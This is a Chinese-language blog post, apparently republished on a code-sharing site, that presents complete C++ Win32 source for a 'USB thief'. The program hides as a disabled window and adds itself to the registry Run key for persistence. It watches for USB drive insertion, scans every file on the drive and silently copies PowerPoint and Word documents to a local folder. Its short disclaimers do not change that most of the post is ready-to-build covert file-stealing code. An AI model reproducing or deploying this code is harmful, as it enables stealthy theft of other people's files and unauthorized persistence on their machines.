U盤小偷——C++實現U盤插入檢測和文件掃描拷貝


前幾天女朋友說老師上課的PPT不共享,沒法復習,想着寫個U盤小偷拷貝PPT來着,后來覺得這樣的行為這是不對的,萬一不小心復制了老師的專利啥的,或者一些不可描述的東西,就鬧大了。

雖然沒有采取實際行動,但是相關的功能還是實現,技術共享。

重點就是U盤插入監控,獲得U盤盤符,開機自啟動,文件掃描和復制。

 

1.對u盤插入行為監控,並獲得盤符

  當U盤插入的時候會產生一個消息WM_DEVICECHANG,只要我們獲得這個消息,然后進行處理就行。

  為了獲得消息,我們需要一個窗口

  

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
    PSTR szCmdLine, int iCmdShow)
{
    static TCHAR szAppName[] = TEXT("UUUUUU");
    HWND               hwnd;
    MSG                msg;
    WNDCLASS           wndclass;

    wndclass.style = 0;
    wndclass.lpfnWndProc = WndProc;
    wndclass.cbClsExtra = 0;
    wndclass.cbWndExtra = 0;
    wndclass.hInstance = hInstance;
    wndclass.hIcon = 0;
    wndclass.hCursor = 0;
    wndclass.hbrBackground = 0;
    wndclass.lpszMenuName = NULL;
    wndclass.lpszClassName = szAppName;

    SetAutoRun(TRUE);
    if (!RegisterClass(&wndclass))
    {
        MessageBox(NULL, TEXT("Program requires Windows NT!"),
            szAppName, MB_ICONERROR);
        return 0;
    }
    hwnd = CreateWindow(szAppName, NULL,
        WS_DISABLED,
        0, 0,
        0, 0,
        NULL, NULL, hInstance, NULL);
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return msg.wParam;
}

  窗口回調函數:

LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM
    lParam)
{
    switch (message)
    {
    case WM_CREATE:           //處理一些要下面要用到的全局變量
        U[1] = ':';

        SetTimer(hwnd, TIMER, 5000, 0);//啟動計時器

        return 0;
    case WM_TIMER:             //timer message 

        SendMessage(hwnd, WM_DEVICECHANGE, 0, 0);//檢測有沒有插入設備消息

        return 0;
    case WM_DEVICECHANGE:
        OnDeviceChange(hwnd, wParam, lParam);
        return 0;
    case WM_DESTROY:
        KillTimer(hwnd, TIMER);
        PostQuitMessage(0);
        return 0;
    }
    return DefWindowProc(hwnd, message, wParam, lParam);
}
  OnDeviceChange函數是對WM_DEVICECHANGE消息的處理,在這個函數里,就可以實現對u盤插入行為的監控,並處理。
LRESULT OnDeviceChange(HWND hwnd, WPARAM wParam, LPARAM lParam)
{
    PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
    switch (wParam)
    {
    case DBT_DEVICEARRIVAL: //插入
        if (lpdb->dbch_devicetype == DBT_DEVTYP_VOLUME)
        {
            PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
            U[0] = FirstDriveFromMask(lpdbv->dbcv_unitmask);//得到u盤盤符
            //MessageBox(0, U, "Notice!", MB_OK);
            string Utemp;
            Utemp = U;
        //    Utemp += "\\";
            Filesearch(Utemp, 0);  //搜索u盤
            CopyPPT(FileList);    //復制ppt
            CopyDOC(FileList);    //復制doc
            //MessageBox(0, "Copy Success", "Notice!", MB_OK);

        }
        break;
    case DBT_DEVICEREMOVECOMPLETE: //設備刪除
        //MessageBox(0, "u盤退出", "Notice!", MB_OK);
        break;
    }
    return LRESULT();
}
  FirstDriveFromMask(lpdbv->dbcv_unitmask);可以獲得盤符,有了盤符,U盤就相當於一個普通的文件夾了。

2.文件遍歷 查找 搜索 復制
void Filesearch(string Path, int Layer)
{
    FileInfo FileInfomation;
    struct _finddata_t filefind;
    string Current = Path + "\\*.*";                            // 修改此處改變搜索條件
    int Done = 0, i, Handle;
    string FullPath;
    if ((Handle = _findfirst(Current.c_str(), &filefind)) != -1)
    {
        while (!(Done = _findnext(Handle, &filefind)))
        {
            if (strcmp(filefind.name, "..") == 0)
                continue;
            for (i = 0; i <Layer; i++)
                printf("\t");
            if ((_A_SUBDIR == filefind.attrib))                // 是目錄
            {
                printf("[Dir]:\t%s\n", filefind.name);
                Current = Path + "\\" + filefind.name;
                Filesearch(Current, Layer + 1);                    // 遞歸遍歷子目錄
            }
            else
            {
                printf("[File]:\t%s\n", filefind.name);
                FullPath = Path + "\\" + filefind.name;
                FileInfomation.Name = filefind.name;
                FileInfomation.FullPath = FullPath;
                FileList.push_back(FileInfomation);
                FullPath.empty();
            }
        }
        _findclose(Handle);
    }
}

void CopyPPT(vector<FileInfo> FileList)
{
        mkdir("C:\\Destest");
        for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator)
        {
            string TempPath;
            //printf("%s\r\n", iterator->);
            
            if ((int)(iterator->Name.find(".ppt")) > 0)
            {
                TempPath = DesPath + "\\" + iterator->Name ;
                BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false);
                cout << GetLastError();
                if (bOk == TRUE)
                {
                //    MessageBox(0, "Copy Success", "Notice!", MB_OK);

                }
                else
                {
                //    MessageBox(0, "Copy Fail", "Notice!", MB_OK);
                }
            }

        }
}

void CopyDOC(vector<FileInfo> FileList)
{
    mkdir("C:\\Destest");
    for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator)
    {
        string TempPath;
        //printf("%s\r\n", iterator->);

        if ((int)(iterator->Name.find(".doc")) > 0)
        {
            TempPath = DesPath + "\\" + iterator->Name;
            BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false);
            cout << GetLastError();
            if (bOk == TRUE)
            {
                //    MessageBox(0, "Copy Success", "Notice!", MB_OK);

            }
            else
            {
                //    MessageBox(0, "Copy Fail", "Notice!", MB_OK);
            }
        }
    }
}


3.開機自啟動 注冊表實現
void SetAutoRun(BOOL bAutoRun)
{
    HKEY hKey;
    char* strRegPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";//找到系統的啟動項  
    if (bAutoRun)
    {
        if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) //打開啟動項       
        {
            TCHAR szModule[_MAX_PATH];
            GetModuleFileName(NULL, szModule, _MAX_PATH);//得到本程序自身的全路徑  
            RegSetValueEx(hKey, "U盤檢測", 0, REG_SZ, (const BYTE*)(LPCSTR)szModule, strlen(szModule)); //添加一個子Key,並設置值,"Client"是應用程序名字(不加后綴.exe)  
            RegCloseKey(hKey); //關閉注冊表  
        }
        else
        {
        //    MessageBox("系統參數錯誤,不能隨系統啟動");
        }
    }
    else
    {
        if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
        {
            RegDeleteValue(hKey, "U盤檢測");
            RegCloseKey(hKey);
        }
    }
}

 

Win10下可以實現功能,另外這不是控制台程序,為了實現對消息的監控,這得是窗口程序。

 

猥瑣的小程序可能包含一些奇淫技巧,但是還是不能做非法不道德事。



 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM